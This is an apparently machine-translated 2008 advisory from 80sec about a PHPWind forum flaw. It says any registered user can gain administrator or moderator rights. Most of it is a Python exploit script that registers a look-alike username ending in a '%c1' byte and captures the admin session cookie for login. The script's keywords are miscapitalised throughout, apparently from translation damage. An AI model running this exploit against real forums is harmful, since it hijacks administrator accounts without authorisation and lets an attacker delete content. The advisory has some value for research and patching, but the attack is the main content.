Phpwind Management Permission Disclosure Vulnerability Exploit program release _ Vulnerability Research

Vulnerability Release: http://www.80sec.com/
Vulnerability Author: jianxin@80sec.com
Vulnerability Vendor: http://www.phpwind.com/This vulnerability affects all versions of Phpwind
Vulnerability Hazard: High
Vulnerability Description: Phpwind is a very extensive domestic use of a program, due to the existence of errors in the program design, leading to anyone can get the front desk administrator and Spot Master permissions, do delete posts and other arbitrary operation

Use way: Http://www.80sec.com has provided exploit
Vulnerability Analysis: Because the Phpwind forum in the design of the database storage mechanism does not understand, resulting in the logic of the program to judge a problem, with carefully constructed data registered users can get administrative rights
Bug fixes: It is recommended to turn off registration to wait for official patches
Vulnerability Status:
08.5.25 found this vulnerability
08.6.1 exposes this vulnerability by 80sec.com

No patches

Original address: Http://www.80sec.com/release/phpwind-exploit.txt

Vulnerability test:

Copy Code code as follows:

#-*-coding:gb2312-*-
Import Urllib2,httplib,sys
Httplib. Httpconnection.debuglevel = 1
cookies = Urllib2. Httpcookieprocessor ()
Opener = Urllib2.build_opener (cookies)

Def banner ():
Print ""
Print "########################################################"
Print "Phpwind all version management rights disclosure vulnerabilities using POC"
Print "Copyright (C) 2006"
Print "Jianxin@80sec.com"
Print "80sec is a new small group dedicated to web security"
Print "Http://www.80sec.com"

def usage ():
Banner ()
Print "usage:\n"
Print "$./phpwind.py pwforumurl usertoattack\n"
Print "Pwforumurl target forum address like http://www.80sec.com/"
Print "Usertoattack owner or Administrator with permissions on target"
Print "Attack results will register an account with the target user in the target forum."
Print "The latest version can use UID Landing"
Print "Other versions can use Cookie+useragent login"
Print "########################################################"
Print ""

argvs=sys.argv
Usage ()

data = "Regname=%s%s1&regpwd=@80sec&regpwdrepeat=@80sec&regemail=foo@foo.com&regemailtoall=1 &step=2 "% (Argvs[2],"%c1″)
Pwurl = "%s/register.php"% argvs[1]

Request = Urllib2. Request (
url = pwurl,
headers = {' Content-type ': ' application/x-www-form-urlencoded ', ' user-agent ': ' 80sec owned this '},
data = data)

F=opener.open (Request)
Headers=f.headers.dict
cookie=headers["Set-cookie"]
Try
If Cookie.index (' Winduser '):
Print "Exploit success!"
Print "Login with uid password @80sec or Cookie:"
Print Cookie
Print "User-agent:80sec owned this"
Except
Print "error! Http://www.80sec.com "
Print "Connect root#80sec.com"